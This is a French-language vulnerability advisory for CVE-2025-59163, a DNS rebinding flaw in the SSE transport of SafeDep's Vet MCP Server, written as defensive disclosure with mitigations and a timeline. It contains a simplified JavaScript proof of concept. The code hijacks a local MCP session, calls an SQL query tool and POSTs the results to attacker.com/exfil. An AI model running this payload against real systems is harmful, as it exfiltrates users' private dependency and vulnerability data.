Vulnérabilité de DNS rebinding dans le transport SSE du Vet MCP Server
Auteur : Evan Harris
Risque : Faible (CVSS 2.1/10)
Composant concerné : SafeDep Vet MCP Server
Identifiant CVE : CVE-2025-59163
Versions concernées : < v1.12.5
Versions corrigées : v1.12.5
Aperçu
Le SafeDep Vet MCP Server est vulnérable aux attaques de DNS rebinding lorsqu’il fonctionne avec le transport SSE. La vulnérabilité provient de l’absence de validation des en-têtes HTTP Host et Origin, ce qui permet à des sites web malveillants de contourner les protections de la politique de même origine et d’exécuter des invocations d’outils non autorisées contre des instances Vet MCP.
Une fois le DNS rebinding réussi, un attaquant peut établir une session avec le point de terminaison /sse, invoquer les outils MCP activés et exfiltrer le contenu de la base de données SQLite Vet de l’utilisateur vers un serveur contrôlé par l’attaquant.
L’équipe SafeDep a réagi rapidement à cette divulgation, publiant en quelques jours une version corrigée (v1.12.5) qui met en œuvre la validation des en-têtes Host et Origin au moyen d’une liste d’autorisation.
D’autres outils traités sur ce site présentent la même faille : Le Neo4j MCP Cypher Server est vulnérable à une prise de contrôle de la base de données via DNS rebinding et Le serveur MCP Verify de Kluster expose les utilisateurs à l’épuisement de leurs crédits.
Détails techniques
La vulnérabilité
Lorsque le Vet MCP Server fonctionne avec le transport SSE (--server-type sse), il expose un point de terminaison HTTP qui accepte les connexions depuis n’importe quelle origine. Le serveur ne valide pas :
- L’en-tête HTTP Host - autorise les requêtes prétendant provenir de n’importe quel domaine
- L’en-tête HTTP Origin - permet les requêtes multi-origines provenant de sites web malveillants
Cette absence de validation rend possibles les attaques de DNS rebinding, dans lesquelles :
- Un attaquant contrôle un domaine dont les enregistrements DNS ont un TTL très faible
- La victime visite le site web de l’attaquant (par exemple
attacker.com) - Le JavaScript de l’attaquant se résout initialement vers l’adresse IP de l’attaquant
- Une fois que le navigateur de la victime a mis la connexion en cache, l’enregistrement DNS est modifié en
127.0.0.1 - Les requêtes ultérieures provenant de
attacker.comciblent désormais le localhost de la victime - La politique de même origine du navigateur est contournée, car l’origine reste
attacker.com
Configuration vulnérable
L’attaque nécessite les conditions suivantes :
- Une analyse Vet est exécutée et les rapports sont enregistrés dans une base de données
- Le Vet MCP Server fonctionne avec le transport SSE activé
- L’attaquant attire la victime vers un site web qu’il contrôle
Vecteur d’attaque
L’attaquant exploite le DNS rebinding pour :
- Établir une connexion vers
http://127.0.0.1:9988/sse - Obtenir un identifiant de session MCP valide
- Initialiser une session MCP
- Invoquer l’outil
vet_query_execute_sql_queryavec des requêtes SQL de lecture arbitraires - Recevoir les réponses via le flux SSE
- Exfiltrer les données vers un serveur contrôlé par l’attaquant
Scénario d’attaque
Configuration de la victime
Un chercheur en sécurité ou un développeur :
- Installe Vet pour l’analyse des vulnérabilités des dépendances
- Lance une analyse :
vet scan -D /path/to/project - Démarre le serveur MCP avec le transport SSE :
./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - Le serveur s’attache à
127.0.0.1:9988par défaut
Exploitation par l’attaquant
L’attaquant prépare l’infrastructure de DNS rebinding :
- Met en place un serveur DNS avec des enregistrements génériques (wildcard) pour un domaine (par exemple
rebinder.attacker.com) - Configure le serveur DNS pour qu’il renvoie d’abord l’adresse IP de l’attaquant, puis effectue un rebinding vers
127.0.0.1 - Héberge un site web malveillant avec un JavaScript qui :
- Détecte le moment où le DNS rebinding réussit
- Se connecte au point de terminaison SSE de Vet à l’adresse
http://127.0.0.1:9988/sse - Établit une session MCP
- Invoque des requêtes SQL contre la base de données de la victime
- Exfiltre les résultats
Déroulement de l’exploitation
// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);
eventSource.onmessage = (event) => {
if (event.data.includes('sessionId')) {
const sessionId = extractSessionId(event.data);
const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;
// Initialize MCP session
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({ method: 'initialize' })
});
// Execute SQL query
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({
jsonrpc: '2.0',
method: 'tools/call',
params: {
name: 'vet_query_execute_sql_query',
arguments: { sql: 'SELECT * FROM report_packages' }
}
})
});
} else {
// Exfiltrate data received via SSE
fetch('https://attacker.com/exfil', {
method: 'POST',
body: event.data
});
}
};
Il suffit à la victime de visiter le site web de l’attaquant (par exemple via un lien dans un courriel de phishing, une publicité compromise ou un ticket GitHub malveillant) pendant que son Vet MCP Server est en cours d’exécution.
Évaluation de l’impact
Atteinte à la confidentialité
Impact principal :
- Accès complet en lecture à la base de données SQLite d’analyses de Vet via l’outil
vet_query_execute_sql_query - Exposition d’informations sur les vulnérabilités des paquets, notamment :
- Les noms et versions des paquets utilisés
- Les CVE connus affectant les dépendances de la victime
- Les scores de gravité et les détails des vulnérabilités
- Le renseignement sur la chaîne d’approvisionnement logicielle
Amplification du risque :
- Les attaquants obtiennent des renseignements sur les paquets vulnérables dans l’environnement de la victime
- Les dépendances et les versions des paquets révèlent des détails sur la pile technologique
- Ces informations peuvent servir à concevoir des exploits ciblés
Conditions de l’attaque
Facteurs limitant l’exploitabilité :
- Interaction active de l’utilisateur requise : La victime doit visiter un site web malveillant
- Fenêtre temporelle : Le Vet MCP Server doit être activement en cours d’exécution avec le transport SSE
- Exigence de configuration : La victime doit avoir démarré explicitement le serveur avec
--server-type sse(et non le transport stdio par défaut) - Basé sur le navigateur : L’attaque nécessite un navigateur moderne prenant en charge EventSource
Ces facteurs contribuent à la classification de faible gravité (CVSS 2.1/10) malgré le potentiel d’exfiltration de données.
Mesures d’atténuation recommandées
Pour les utilisateurs (immédiat)
- Mettez à jour vers la v1.12.5 ou une version ultérieure :
# Download the latest release wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz tar -xzf vet_Linux_x86_64.tar.gz ./vet --version # Verify v1.12.5 or later - Utilisez le transport stdio (par défaut) :
# Avoid using --server-type sse unless necessary ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - Isolation réseau :
- N’exécutez le serveur MCP que sur des réseaux de confiance
- Utilisez des règles de pare-feu pour restreindre l’accès au port 9988
- Évitez de naviguer sur des sites web non fiables pendant que le serveur est en cours d’exécution
Pour les développeurs
Mis en œuvre dans la v1.12.5 :
- Validation de l’en-tête Host au moyen d’une liste d’autorisation
- Validation de l’en-tête Origin pour empêcher les requêtes multi-origines
- Rejet des requêtes comportant des en-têtes de sécurité invalides ou manquants
Bonnes pratiques pour les implémentations de serveurs MCP :
- Validez toujours les en-têtes Host et Origin pour les transports basés sur HTTP
- Attachez-vous par défaut uniquement à localhost (
127.0.0.1) plutôt qu’à0.0.0.0 - Privilégiez le transport stdio par rapport aux transports réseau lorsque cela est possible
- Documentez les implications de sécurité des différents modes de transport
- Mettez en œuvre des politiques CORS strictes
Chronologie de la divulgation
- 2025-08-30 : Rapport initial de la vulnérabilité soumis à SafeDep
- 2025-09-01 : SafeDep accuse réception du rapport
- 2025-09-02 : SafeDep ouvre une pull request avec un correctif mettant en œuvre la validation des en-têtes
- 2025-09-05 : La version corrigée v1.12.5 est publiée
- 2025-09-29 : Publication du GitHub Security Advisory, date de divulgation coordonnée confirmée par les deux parties
- 2025-10-06 : Publication de l’avis technique
Conclusion
La vulnérabilité de DNS rebinding dans le Vet MCP Server met en évidence une considération de sécurité importante pour les implémentations de MCP : les transports basés sur le réseau exigent une validation soigneuse des en-têtes de sécurité HTTP afin de prévenir les attaques multi-origines.
Bien que l’attaque nécessite des conditions spécifiques (serveur MCP actif avec transport SSE, victime visitant un site web malveillant, fenêtre temporelle), le potentiel d’exfiltration de données justifiait une divulgation et une correction responsables.
La réaction de SafeDep illustre des pratiques de sécurité responsables :
- Accusé de réception immédiat du rapport
- Développement et publication rapides d’un correctif (5 jours entre le signalement et la publication)
- Divulgation coordonnée via un GitHub Security Advisory
- Communication claire tout au long du processus
Tous les utilisateurs exécutant le Vet MCP Server avec le transport SSE devraient effectuer immédiatement la mise à jour vers la v1.12.5. Pour la plupart des cas d’usage, le transport stdio par défaut offre une alternative plus sûre.